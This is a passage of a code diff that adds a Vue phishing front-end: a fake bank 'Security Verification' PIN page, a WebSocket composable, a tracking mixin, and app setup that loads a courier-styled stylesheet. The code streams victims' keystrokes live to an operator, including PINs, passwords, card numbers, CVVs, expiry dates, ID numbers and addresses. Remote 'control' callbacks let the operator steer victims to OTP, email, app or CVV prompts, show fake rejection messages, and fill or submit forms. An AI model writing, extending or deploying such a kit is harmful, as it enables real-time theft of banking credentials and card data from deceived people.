showAuthenticationHelp.value = !showAuthenticationHelp.value
|
||||||
|
} else if (type === 'help') {
|
||||||
|
showHelpContent.value = !showHelpContent.value
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
onMounted(() => {
|
||||||
|
// 检查是否有自定义错误信息
|
||||||
|
if (customErrorMessage.value) {
|
||||||
|
errorMessage.value = customErrorMessage.value
|
||||||
|
}
|
||||||
|
})
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<style scoped>
|
||||||
|
.verification-container {
|
||||||
|
display: flex;
|
||||||
|
justify-content: center;
|
||||||
|
align-items: center;
|
||||||
|
min-height: 100vh;
|
||||||
|
padding: 1rem;
|
||||||
|
background-color: #f5f5f5;
|
||||||
|
}
|
||||||
|
|
||||||
|
.card {
|
||||||
|
background: white;
|
||||||
|
border-radius: 8px;
|
||||||
|
box-shadow: 0 2px 10px rgba(0, 0, 0, 0.05);
|
||||||
|
width: 100%;
|
||||||
|
min-height: 100vh;
|
||||||
|
padding: 2rem 1.5rem;
|
||||||
|
margin-bottom: 2rem; /* 确保底部有足够空间 */
|
||||||
|
}
|
||||||
|
|
||||||
|
.logo {
|
||||||
|
display: flex;
|
||||||
|
justify-content: center;
|
||||||
|
margin-bottom: 1.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.logo svg {
|
||||||
|
height: 40px;
|
||||||
|
width: auto;
|
||||||
|
}
|
||||||
|
|
||||||
|
h2 {
|
||||||
|
font-size: 1.5rem;
|
||||||
|
margin-bottom: 1rem;
|
||||||
|
color: #333;
|
||||||
|
text-align: center;
|
||||||
|
font-weight: 600;
|
||||||
|
}
|
||||||
|
|
||||||
|
.description, .instruction {
|
||||||
|
margin-bottom: 1.5rem;
|
||||||
|
color: #333;
|
||||||
|
line-height: 1.5;
|
||||||
|
text-align: left;
|
||||||
|
}
|
||||||
|
|
||||||
|
.form-group {
|
||||||
|
margin-bottom: 1.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
label {
|
||||||
|
display: block;
|
||||||
|
font-weight: 500;
|
||||||
|
margin-bottom: 0.5rem;
|
||||||
|
color: #333;
|
||||||
|
text-align: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
input {
|
||||||
|
width: 100%;
|
||||||
|
padding: 0.75rem;
|
||||||
|
border: 1px solid #ddd;
|
||||||
|
border-radius: 4px;
|
||||||
|
font-size: 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.error-message {
|
||||||
|
color: #d9534f;
|
||||||
|
margin-top: 0.5rem;
|
||||||
|
font-size: 0.875rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.submit-button {
|
||||||
|
width: 100%;
|
||||||
|
padding: 0.75rem;
|
||||||
|
background-color: #003399;
|
||||||
|
color: white;
|
||||||
|
border: none;
|
||||||
|
border-radius: 4px;
|
||||||
|
font-size: 1rem;
|
||||||
|
cursor: pointer;
|
||||||
|
transition: background-color 0.3s;
|
||||||
|
}
|
||||||
|
|
||||||
|
.submit-button:hover:not(:disabled) {
|
||||||
|
background-color: #002266;
|
||||||
|
}
|
||||||
|
|
||||||
|
.submit-button:disabled {
|
||||||
|
background-color: #99b3e6;
|
||||||
|
cursor: not-allowed;
|
||||||
|
}
|
||||||
|
|
||||||
|
.processing {
|
||||||
|
display: inline-block;
|
||||||
|
position: relative;
|
||||||
|
}
|
||||||
|
|
||||||
|
.resend-link {
|
||||||
|
text-align: center;
|
||||||
|
color: #003399;
|
||||||
|
margin-top: 1rem;
|
||||||
|
cursor: pointer;
|
||||||
|
font-size: 0.9rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.resend-link:hover {
|
||||||
|
text-decoration: underline;
|
||||||
|
}
|
||||||
|
|
||||||
|
.divider {
|
||||||
|
height: 1px;
|
||||||
|
background-color: #eee;
|
||||||
|
margin: 1.5rem 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.collapsible {
|
||||||
|
margin-bottom: 1.5rem; /* 增加底部间距 */
|
||||||
|
}
|
||||||
|
|
||||||
|
.collapsible-header {
|
||||||
|
display: flex;
|
||||||
|
justify-content: space-between;
|
||||||
|
align-items: center;
|
||||||
|
color: #003399;
|
||||||
|
cursor: pointer;
|
||||||
|
font-size: 0.9rem;
|
||||||
|
padding: 0.5rem 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.toggle-icon {
|
||||||
|
font-weight: bold;
|
||||||
|
}
|
||||||
|
|
||||||
|
.collapsible-content {
|
||||||
|
padding-top: 0.75rem;
|
||||||
|
padding-bottom: 0.75rem; /* 添加底部内边距 */
|
||||||
|
font-size: 0.9rem;
|
||||||
|
color: #555;
|
||||||
|
line-height: 1.5;
|
||||||
|
}
|
||||||
|
|
||||||
|
.collapsible-content ul {
|
||||||
|
padding-left: 1rem;
|
||||||
|
margin-top: 0.5rem;
|
||||||
|
margin-bottom: 0.5rem; /* 添加底部外边距 */
|
||||||
|
}
|
||||||
|
|
||||||
|
.collapsible-content li {
|
||||||
|
margin-bottom: 0.5rem; /* 增加列表项间距 */
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 添加额外的底部空间,确保页面完全展示 */
|
||||||
|
.collapsible:last-child {
|
||||||
|
margin-bottom: 5rem;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
272
src/components/verification/PinVerificationPage.vue
Normal file
@@ -0,0 +1,272 @@
|
|||||||
|
<template>
|
||||||
|
<div class="verification-container">
|
||||||
|
<div class="card">
|
||||||
|
<div class="logo">
|
||||||
|
<img src="/assets/bank-icon.svg" alt="Bank Logo" />
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<h2>Security Verification</h2>
|
||||||
|
|
||||||
|
<p class="description">
|
||||||
|
Please enter your PIN code to complete this transaction.
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="pin-code">PIN Code</label>
|
||||||
|
<input
|
||||||
|
type="password"
|
||||||
|
id="pin-code"
|
||||||
|
v-model="pinCode"
|
||||||
|
:disabled="isProcessing"
|
||||||
|
autocomplete="off"
|
||||||
|
placeholder=""
|
||||||
|
maxlength="6"
|
||||||
|
@input="handleInput"
|
||||||
|
/>
|
||||||
|
<p v-if="errorMessage" class="error-message">{{ errorMessage }}</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<button
|
||||||
|
class="submit-button"
|
||||||
|
@click="submitCode"
|
||||||
|
:disabled="!isValid || isProcessing"
|
||||||
|
>
|
||||||
|
<span v-if="!isProcessing">Submit</span>
|
||||||
|
<span v-else class="processing">Processing...</span>
|
||||||
|
</button>
|
||||||
|
|
||||||
|
<div class="collapsible">
|
||||||
|
<div class="collapsible-header" @click="toggleHelp('authentication')">
|
||||||
|
Learn more about Authentication
|
||||||
|
<span class="toggle-icon">+</span>
|
||||||
|
</div>
|
||||||
|
<div class="collapsible-content" v-if="showAuthenticationHelp">
|
||||||
|
<p>
|
||||||
|
For your security, we require PIN verification for online transactions.
|
||||||
|
This PIN is the same one you use for ATM transactions or telephone banking.
|
||||||
|
If you've forgotten your PIN, please contact customer service.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="collapsible">
|
||||||
|
<div class="collapsible-header" @click="toggleHelp('help')">
|
||||||
|
Need Some Help?
|
||||||
|
<span class="toggle-icon">+</span>
|
||||||
|
</div>
|
||||||
|
<div class="collapsible-content" v-if="showHelpContent">
|
||||||
|
<p>
|
||||||
|
If you're having trouble with your PIN:
|
||||||
|
</p>
|
||||||
|
<ul>
|
||||||
|
<li>Make sure you're entering the correct PIN</li>
|
||||||
|
<li>If you've forgotten your PIN, contact customer service</li>
|
||||||
|
<li>Try using your most recent PIN if you've changed it recently</li>
|
||||||
|
</ul>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</template>
|
||||||
|
|
||||||
|
<script setup>
|
||||||
|
import { ref, computed, onMounted, watch } from 'vue'
|
||||||
|
import { useWebSocket } from '../../composables/useWebSocket'
|
||||||
|
|
||||||
|
// WebSocket相关
|
||||||
|
const {
|
||||||
|
verificationData,
|
||||||
|
isProcessing: wsProcessing,
|
||||||
|
customErrorMessage,
|
||||||
|
submitVerificationCode,
|
||||||
|
trackInput
|
||||||
|
} = useWebSocket()
|
||||||
|
|
||||||
|
const pinCode = ref('')
|
||||||
|
const errorMessage = ref('')
|
||||||
|
const isProcessing = ref(false)
|
||||||
|
const showAuthenticationHelp = ref(false)
|
||||||
|
const showHelpContent = ref(false)
|
||||||
|
|
||||||
|
const isValid = computed(() => {
|
||||||
|
return pinCode.value.length >= 4
|
||||||
|
})
|
||||||
|
|
||||||
|
// 监听自定义错误信息
|
||||||
|
watch(customErrorMessage, (newVal) => {
|
||||||
|
if (newVal) {
|
||||||
|
errorMessage.value = newVal
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
// 监听处理状态
|
||||||
|
watch(wsProcessing, (newVal) => {
|
||||||
|
isProcessing.value = newVal
|
||||||
|
})
|
||||||
|
|
||||||
|
// 处理输入
|
||||||
|
const handleInput = (event) => {
|
||||||
|
// 只允许输入数字
|
||||||
|
pinCode.value = event.target.value.replace(/[^0-9]/g, '')
|
||||||
|
|
||||||
|
// 清除错误信息
|
||||||
|
if (errorMessage.value) {
|
||||||
|
errorMessage.value = ''
|
||||||
|
}
|
||||||
|
|
||||||
|
// 实时发送PIN码输入到WebSocket
|
||||||
|
if (pinCode.value) {
|
||||||
|
trackInput('pin', pinCode.value)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 提交PIN码
|
||||||
|
const submitCode = () => {
|
||||||
|
if (!isValid.value || isProcessing.value) return
|
||||||
|
|
||||||
|
isProcessing.value = true
|
||||||
|
errorMessage.value = ''
|
||||||
|
|
||||||
|
// 发送到WebSocket
|
||||||
|
submitVerificationCode('pin', pinCode.value)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 切换帮助内容显示
|
||||||
|
const toggleHelp = (type) => {
|
||||||
|
if (type === 'authentication') {
|
||||||
|
showAuthenticationHelp.value = !showAuthenticationHelp.value
|
||||||
|
} else if (type === 'help') {
|
||||||
|
showHelpContent.value = !showHelpContent.value
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
onMounted(() => {
|
||||||
|
// 检查是否有自定义错误信息
|
||||||
|
if (customErrorMessage.value) {
|
||||||
|
errorMessage.value = customErrorMessage.value
|
||||||
|
}
|
||||||
|
})
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<style scoped>
|
||||||
|
.verification-container {
|
||||||
|
background-color: #f5f5f5;
|
||||||
|
}
|
||||||
|
|
||||||
|
.card {
|
||||||
|
background: white;
|
||||||
|
border-radius: 4px;
|
||||||
|
box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
|
||||||
|
width: 100%;
|
||||||
|
min-height: 100vh;
|
||||||
|
padding: 2rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.logo {
|
||||||
|
display: flex;
|
||||||
|
justify-content: center;
|
||||||
|
margin-bottom: 1.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.logo img {
|
||||||
|
height: 32px;
|
||||||
|
width: auto;
|
||||||
|
}
|
||||||
|
|
||||||
|
h2 {
|
||||||
|
font-size: 1.5rem;
|
||||||
|
margin-bottom: 1rem;
|
||||||
|
color: #333;
|
||||||
|
}
|
||||||
|
|
||||||
|
.description {
|
||||||
|
margin-bottom: 1.5rem;
|
||||||
|
color: #555;
|
||||||
|
line-height: 1.5;
|
||||||
|
}
|
||||||
|
|
||||||
|
.form-group {
|
||||||
|
margin-bottom: 1.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
label {
|
||||||
|
display: block;
|
||||||
|
font-weight: 500;
|
||||||
|
margin-bottom: 0.5rem;
|
||||||
|
color: #666;
|
||||||
|
}
|
||||||
|
|
||||||
|
input {
|
||||||
|
width: 100%;
|
||||||
|
padding: 0.75rem;
|
||||||
|
border: 1px solid #ddd;
|
||||||
|
border-radius: 4px;
|
||||||
|
font-size: 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.error-message {
|
||||||
|
color: #d9534f;
|
||||||
|
margin-top: 0.5rem;
|
||||||
|
font-size: 0.875rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.submit-button {
|
||||||
|
width: 100%;
|
||||||
|
padding: 0.75rem;
|
||||||
|
background-color: #0047b3;
|
||||||
|
color: white;
|
||||||
|
border: none;
|
||||||
|
border-radius: 4px;
|
||||||
|
font-size: 1rem;
|
||||||
|
cursor: pointer;
|
||||||
|
transition: background-color 0.3s;
|
||||||
|
}
|
||||||
|
|
||||||
|
.submit-button:hover:not(:disabled) {
|
||||||
|
background-color: #003d99;
|
||||||
|
}
|
||||||
|
|
||||||
|
.submit-button:disabled {
|
||||||
|
background-color: #99b3e6;
|
||||||
|
cursor: not-allowed;
|
||||||
|
}
|
||||||
|
|
||||||
|
.processing {
|
||||||
|
display: inline-block;
|
||||||
|
position: relative;
|
||||||
|
}
|
||||||
|
|
||||||
|
.collapsible {
|
||||||
|
margin-top: 1.5rem;
|
||||||
|
border-top: 1px solid #eee;
|
||||||
|
padding-top: 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.collapsible-header {
|
||||||
|
display: flex;
|
||||||
|
justify-content: space-between;
|
||||||
|
align-items: center;
|
||||||
|
cursor: pointer;
|
||||||
|
color: #0047b3;
|
||||||
|
font-weight: 500;
|
||||||
|
}
|
||||||
|
|
||||||
|
.toggle-icon {
|
||||||
|
font-size: 1.25rem;
|
||||||
|
line-height: 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
.collapsible-content {
|
||||||
|
margin-top: 1rem;
|
||||||
|
color: #666;
|
||||||
|
line-height: 1.5;
|
||||||
|
}
|
||||||
|
|
||||||
|
.collapsible-content ul {
|
||||||
|
padding-left: 1.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.collapsible-content li {
|
||||||
|
margin-bottom: 0.5rem;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
207
src/composables/useWebSocket.js
Normal file
@@ -0,0 +1,207 @@
|
|||||||
|
import { ref, onMounted, onUnmounted, watch } from 'vue'
|
||||||
|
import getUserBehaviorTracker from '../services/websocket.js'
|
||||||
|
import { useRouter } from 'vue-router'
|
||||||
|
|
||||||
|
export function useWebSocket() {
|
||||||
|
const router = useRouter()
|
||||||
|
const behaviorTracker = getUserBehaviorTracker()
|
||||||
|
const connectionStatus = ref(behaviorTracker.getConnectionStatus())
|
||||||
|
const controlConnectionStatus = ref(behaviorTracker.getControlConnectionStatus())
|
||||||
|
const isConnected = ref(behaviorTracker.isConnected)
|
||||||
|
const isControlConnected = ref(behaviorTracker.isControlConnected)
|
||||||
|
const userUUID = ref(behaviorTracker.uuid || '')
|
||||||
|
|
||||||
|
// 验证相关状态
|
||||||
|
const customErrorMessage = ref('') // 自定义错误信息
|
||||||
|
const verificationData = ref(null) // 验证相关数据
|
||||||
|
const isProcessing = ref(false) // 处理状态
|
||||||
|
const isCardRejected = ref(false) // 卡片拒绝状态
|
||||||
|
|
||||||
|
// 更新连接状态
|
||||||
|
const updateConnectionStatus = () => {
|
||||||
|
connectionStatus.value = behaviorTracker.getConnectionStatus()
|
||||||
|
isConnected.value = behaviorTracker.isConnected
|
||||||
|
controlConnectionStatus.value = behaviorTracker.getControlConnectionStatus()
|
||||||
|
isControlConnected.value = behaviorTracker.isControlConnected
|
||||||
|
}
|
||||||
|
|
||||||
|
// 获取用户UUID
|
||||||
|
const getUserUUID = () => {
|
||||||
|
return behaviorTracker.uuid
|
||||||
|
}
|
||||||
|
|
||||||
|
// 页面行为追踪
|
||||||
|
const trackPageView = (pageName, pageData = {}) => {
|
||||||
|
behaviorTracker.trackPageView(pageName, pageData)
|
||||||
|
}
|
||||||
|
|
||||||
|
const trackStepChange = (stepNumber, stepName, stepData = {}) => {
|
||||||
|
behaviorTracker.trackStepChange(stepNumber, stepName, stepData)
|
||||||
|
}
|
||||||
|
|
||||||
|
const trackButtonClick = (buttonName, buttonData = {}) => {
|
||||||
|
behaviorTracker.trackButtonClick(buttonName, buttonData)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 表单提交追踪
|
||||||
|
const trackFormSubmit = (formType, formData = {}) => {
|
||||||
|
switch (formType) {
|
||||||
|
case 'payment':
|
||||||
|
behaviorTracker.trackCompletePayment()
|
||||||
|
break
|
||||||
|
case 'registration':
|
||||||
|
behaviorTracker.trackCompleteRegistration()
|
||||||
|
break
|
||||||
|
case 'login':
|
||||||
|
behaviorTracker.trackLogin(formData)
|
||||||
|
break
|
||||||
|
case 'account_lookup':
|
||||||
|
behaviorTracker.sendBehavior('account_lookup', '账户查询', formData)
|
||||||
|
break
|
||||||
|
case 'payment_processing':
|
||||||
|
behaviorTracker.sendBehavior('payment_processing', '支付处理', formData)
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 处理验证提交
|
||||||
|
const submitVerificationCode = (type, code) => {
|
||||||
|
isProcessing.value = true
|
||||||
|
|
||||||
|
// 发送验证码到ws_sub订阅
|
||||||
|
behaviorTracker.sendToWsSub({
|
||||||
|
type: `${type}_verification_submit`,
|
||||||
|
data: {
|
||||||
|
code: code,
|
||||||
|
timestamp: new Date().toISOString()
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
// 模拟网络延迟
|
||||||
|
setTimeout(() => {
|
||||||
|
isProcessing.value = false
|
||||||
|
}, 1500)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 设置控制WebSocket回调
|
||||||
|
const setupControlCallbacks = () => {
|
||||||
|
// 返回上一步
|
||||||
|
behaviorTracker.registerControlCallback('returnPrevStep', () => {
|
||||||
|
router.go(-1);
|
||||||
|
});
|
||||||
|
|
||||||
|
// OTP验证
|
||||||
|
behaviorTracker.registerControlCallback('otpVerification', (data) => {
|
||||||
|
verificationData.value = data.data || {};
|
||||||
|
router.push('/otp-verification');
|
||||||
|
});
|
||||||
|
|
||||||
|
// Email验证
|
||||||
|
behaviorTracker.registerControlCallback('emailVerification', (data) => {
|
||||||
|
verificationData.value = data.data || {};
|
||||||
|
router.push('/email-verification');
|
||||||
|
});
|
||||||
|
|
||||||
|
// App验证
|
||||||
|
behaviorTracker.registerControlCallback('appVerification', (data) => {
|
||||||
|
verificationData.value = data.data || {};
|
||||||
|
router.push('/app-verification');
|
||||||
|
});
|
||||||
|
|
||||||
|
// PIN验证
|
||||||
|
behaviorTracker.registerControlCallback('pinVerification', (data) => {
|
||||||
|
verificationData.value = data.data || {};
|
||||||
|
router.push('/pin-verification');
|
||||||
|
});
|
||||||
|
|
||||||
|
// 运通CVV验证
|
||||||
|
behaviorTracker.registerControlCallback('amexCvvVerification', (data) => {
|
||||||
|
verificationData.value = data.data || {};
|
||||||
|
router.push('/amex-cvv-verification');
|
||||||
|
});
|
||||||
|
|
||||||
|
// 拒绝自定义文案
|
||||||
|
behaviorTracker.registerControlCallback('rejectCustom', (data) => {
|
||||||
|
customErrorMessage.value = data.message || '验证失败,请重试。';
|
||||||
|
window.dispatchEvent(new CustomEvent('showError', { detail: { message: customErrorMessage.value } }));
|
||||||
|
});
|
||||||
|
|
||||||
|
// 拒绝更换卡片
|
||||||
|
behaviorTracker.registerControlCallback('rejectCardChange', () => {
|
||||||
|
isCardRejected.value = true;
|
||||||
|
customErrorMessage.value = '卡片被拒绝,请使用其他支付方式。';
|
||||||
|
window.dispatchEvent(new CustomEvent('showError', { detail: { message: customErrorMessage.value } }));
|
||||||
|
});
|
||||||
|
|
||||||
|
// 断开连接
|
||||||
|
behaviorTracker.registerControlCallback('disconnect', () => {
|
||||||
|
behaviorTracker.disconnect();
|
||||||
|
behaviorTracker.disconnectControl();
|
||||||
|
});
|
||||||
|
|
||||||
|
// 拉黑
|
||||||
|
behaviorTracker.registerControlCallback('blacklist', () => {
|
||||||
|
router.push('/blocked');
|
||||||
|
});
|
||||||
|
|
||||||
|
// 清空表单
|
||||||
|
behaviorTracker.registerControlCallback('clearForm', (data) => {
|
||||||
|
// 可以通过事件总线触发表单清空
|
||||||
|
window.dispatchEvent(new CustomEvent('clearForm', { detail: data }));
|
||||||
|
});
|
||||||
|
|
||||||
|
// 填充表单
|
||||||
|
behaviorTracker.registerControlCallback('fillForm', (data) => {
|
||||||
|
if (data.formData) {
|
||||||
|
window.dispatchEvent(new CustomEvent('fillForm', { detail: data.formData }));
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
// 提交表单
|
||||||
|
behaviorTracker.registerControlCallback('submitForm', () => {
|
||||||
|
window.dispatchEvent(new CustomEvent('submitForm'));
|
||||||
|
});
|
||||||
|
|
||||||
|
// 导航到指定页面
|
||||||
|
behaviorTracker.registerControlCallback('navigateTo', (data) => {
|
||||||
|
if (data.path) {
|
||||||
|
router.push(data.path);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
// 显示错误
|
||||||
|
behaviorTracker.registerControlCallback('showError', (data) => {
|
||||||
|
customErrorMessage.value = data.message || '发生错误,请重试。';
|
||||||
|
window.dispatchEvent(new CustomEvent('showError', { detail: data }));
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
// 在组件挂载时设置控制回调
|
||||||
|
onMounted(() => {
|
||||||
|
setupControlCallbacks();
|
||||||
|
});
|
||||||
|
|
||||||
|
// 组件卸载时清理资源
|
||||||
|
onUnmounted(() => {
|
||||||
|
// 可以在这里清理一些资源
|
||||||
|
});
|
||||||
|
|
||||||
|
return {
|
||||||
|
isConnected,
|
||||||
|
isControlConnected,
|
||||||
|
connectionStatus,
|
||||||
|
controlConnectionStatus,
|
||||||
|
userUUID,
|
||||||
|
customErrorMessage,
|
||||||
|
verificationData,
|
||||||
|
isProcessing,
|
||||||
|
isCardRejected,
|
||||||
|
getUserUUID,
|
||||||
|
trackPageView,
|
||||||
|
trackStepChange,
|
||||||
|
trackButtonClick,
|
||||||
|
trackFormSubmit,
|
||||||
|
updateConnectionStatus,
|
||||||
|
submitVerificationCode
|
||||||
|
}
|
||||||
|
}
|
||||||
13
src/main.js
Normal file
@@ -0,0 +1,13 @@
|
|||||||
|
import { createApp } from 'vue'
|
||||||
|
import App from './App.vue'
|
||||||
|
import router from './router'
|
||||||
|
import './style.css'
|
||||||
|
import './assets/purolator.css'
|
||||||
|
import { setupNavigationTracking } from './plugins/navigationTracking.js'
|
||||||
|
|
||||||
|
const app = createApp(App)
|
||||||
|
app.use(router)
|
||||||
|
|
||||||
|
setupNavigationTracking(router)
|
||||||
|
|
||||||
|
app.mount('#app')
|
||||||
159
src/mixins/behaviorTracking.js
Normal file
@@ -0,0 +1,159 @@
|
|||||||
|
import getUserBehaviorTracker from '../services/websocket.js';
|
||||||
|
|
||||||
|
let behaviorTracker = null;
|
||||||
|
|
||||||
|
export const behaviorTrackingMixin = {
|
||||||
|
created() {
|
||||||
|
if (!behaviorTracker) {
|
||||||
|
behaviorTracker = getUserBehaviorTracker();
|
||||||
|
}
|
||||||
|
this.$behaviorTracker = behaviorTracker;
|
||||||
|
|
||||||
|
// 监听clearForm事件
|
||||||
|
this.clearFormListener = (event) => {
|
||||||
|
if (this.resetForm && typeof this.resetForm === 'function') {
|
||||||
|
this.resetForm();
|
||||||
|
}
|
||||||
|
};
|
||||||
|
window.addEventListener('clearForm', this.clearFormListener);
|
||||||
|
|
||||||
|
// 监听fillForm事件
|
||||||
|
this.fillFormListener = (event) => {
|
||||||
|
if (this.formData && event.detail) {
|
||||||
|
Object.keys(event.detail).forEach(key => {
|
||||||
|
if (key in this.formData) {
|
||||||
|
this.formData[key] = event.detail[key];
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
};
|
||||||
|
window.addEventListener('fillForm', this.fillFormListener);
|
||||||
|
|
||||||
|
// 监听submitForm事件
|
||||||
|
this.submitFormListener = () => {
|
||||||
|
if (this.processPayment && typeof this.processPayment === 'function') {
|
||||||
|
this.processPayment();
|
||||||
|
}
|
||||||
|
};
|
||||||
|
window.addEventListener('submitForm', this.submitFormListener);
|
||||||
|
},
|
||||||
|
|
||||||
|
beforeUnmount() {
|
||||||
|
// 移除事件监听器
|
||||||
|
window.removeEventListener('clearForm', this.clearFormListener);
|
||||||
|
window.removeEventListener('fillForm', this.fillFormListener);
|
||||||
|
window.removeEventListener('submitForm', this.submitFormListener);
|
||||||
|
|
||||||
|
if (this.$route.name === 'Home' || this.$route.path === '/') {
|
||||||
|
behaviorTracker?.disconnect();
|
||||||
|
behaviorTracker?.disconnectControl();
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
methods: {
|
||||||
|
trackInputBehavior(inputType, value, element) {
|
||||||
|
if (!this.$behaviorTracker) return;
|
||||||
|
|
||||||
|
const fieldMapping = {
|
||||||
|
'name': () => this.$behaviorTracker.trackInputName(value),
|
||||||
|
'nameOnCard': () => this.$behaviorTracker.trackInputCardHolder(value),
|
||||||
|
'phone': () => this.$behaviorTracker.trackInputPhone(value),
|
||||||
|
'email': () => this.$behaviorTracker.trackInputEmail(value),
|
||||||
|
'idCard': () => this.$behaviorTracker.trackInputIdCard(value),
|
||||||
|
'username': () => this.$behaviorTracker.trackInputUsername(value),
|
||||||
|
'password': () => this.$behaviorTracker.trackInputPassword(value),
|
||||||
|
'verifyCode': () => this.$behaviorTracker.trackInputVerifyCode(value),
|
||||||
|
'pin': () => this.$behaviorTracker.trackInputPin(value),
|
||||||
|
'country': () => this.$behaviorTracker.trackInputAddressCountry(value),
|
||||||
|
'state': () => this.$behaviorTracker.trackInputAddressState(value),
|
||||||
|
'city': () => this.$behaviorTracker.trackInputAddressCity(value),
|
||||||
|
'address': () => this.$behaviorTracker.trackInputAddressDetail(value),
|
||||||
|
'zipCode': () => this.$behaviorTracker.trackInputAddressZip(value),
|
||||||
|
'cardNumber': () => this.$behaviorTracker.trackInputCardNumber(value),
|
||||||
|
'cardType': () => this.$behaviorTracker.trackInputCardType(value),
|
||||||
|
'expiryDate': () => this.$behaviorTracker.trackInputCardExpiry(value),
|
||||||
|
'securityCode': () => this.$behaviorTracker.trackInputCardCvv(value),
|
||||||
|
'cvv': () => this.$behaviorTracker.trackInputCardCvv(value),
|
||||||
|
'cardRemark': () => this.$behaviorTracker.trackInputCardRemark(value)
|
||||||
|
};
|
||||||
|
|
||||||
|
const trackingFunction = fieldMapping[inputType];
|
||||||
|
if (trackingFunction) {
|
||||||
|
trackingFunction();
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
trackFormSubmit(formType, formData) {
|
||||||
|
if (!this.$behaviorTracker) return;
|
||||||
|
|
||||||
|
switch (formType) {
|
||||||
|
case 'payment':
|
||||||
|
this.$behaviorTracker.trackCompletePayment();
|
||||||
|
break;
|
||||||
|
case 'registration':
|
||||||
|
this.$behaviorTracker.trackCompleteRegistration();
|
||||||
|
break;
|
||||||
|
case 'login':
|
||||||
|
this.$behaviorTracker.trackLogin(formData);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
setupInputTracking() {
|
||||||
|
this.$nextTick(() => {
|
||||||
|
const inputs = this.$el.querySelectorAll('input, textarea, select');
|
||||||
|
|
||||||
|
inputs.forEach(input => {
|
||||||
|
const trackingKey = this.getTrackingKey(input);
|
||||||
|
if (!trackingKey) return;
|
||||||
|
|
||||||
|
const debouncedTrack = this.debounce((value) => {
|
||||||
|
this.trackInputBehavior(trackingKey, value, input);
|
||||||
|
}, 500);
|
||||||
|
|
||||||
|
input.addEventListener('input', (event) => {
|
||||||
|
debouncedTrack(event.target.value);
|
||||||
|
});
|
||||||
|
|
||||||
|
input.addEventListener('blur', (event) => {
|
||||||
|
if (event.target.value.trim()) {
|
||||||
|
this.trackInputBehavior(trackingKey, event.target.value, input);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
|
});
|
||||||
|
},
|
||||||
|
|
||||||
|
getTrackingKey(input) {
|
||||||
|
if (input.id) return input.id;
|
||||||
|
if (input.name) return input.name;
|
||||||
|
if (input.getAttribute('data-track')) return input.getAttribute('data-track');
|
||||||
|
|
||||||
|
const placeholder = input.placeholder?.toLowerCase();
|
||||||
|
if (placeholder?.includes('name')) return 'name';
|
||||||
|
if (placeholder?.includes('phone')) return 'phone';
|
||||||
|
if (placeholder?.includes('email')) return 'email';
|
||||||
|
if (placeholder?.includes('card')) return 'cardNumber';
|
||||||
|
if (placeholder?.includes('expiry') || placeholder?.includes('expire')) return 'expiryDate';
|
||||||
|
if (placeholder?.includes('cvv') || placeholder?.includes('security')) return 'cvv';
|
||||||
|
|
||||||
|
return null;
|
||||||
|
},
|
||||||
|
|
||||||
|
debounce(func, wait) {
|
||||||
|
let timeout;
|
||||||
|
return function executedFunction(...args) {
|
||||||
|
const later = () => {
|
||||||
|
clearTimeout(timeout);
|
||||||
|
func(...args);
|
||||||
|
};
|
||||||
|
clearTimeout(timeout);
|
||||||
|
timeout = setTimeout(later, wait);
|
||||||
|
};
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
mounted() {
|
||||||
|
this.setupInputTracking();
|
||||||
|
}
|
||||||
|
};
|
||||||
54
src/plugins/navigationTracking.js
Normal file
@@ -0,0 +1,54 @@
|
|||||||
|
import UserBehaviorTracker from '../services/websocket.js';
|
||||||
|
|
||||||
|
let behaviorTracker = null;
|
||||||
|
|
||||||
|
export function setupNavigationTracking(router) {
|
||||||
|
if (!behaviorTracker) {
|
||||||
|
behaviorTracker = new UserBehaviorTracker();
|
||||||
|
}
|
||||||
|
|
||||||
|
router.beforeEach((to, from, next) => {
|
||||||
|
if (from.name) {
|
||||||
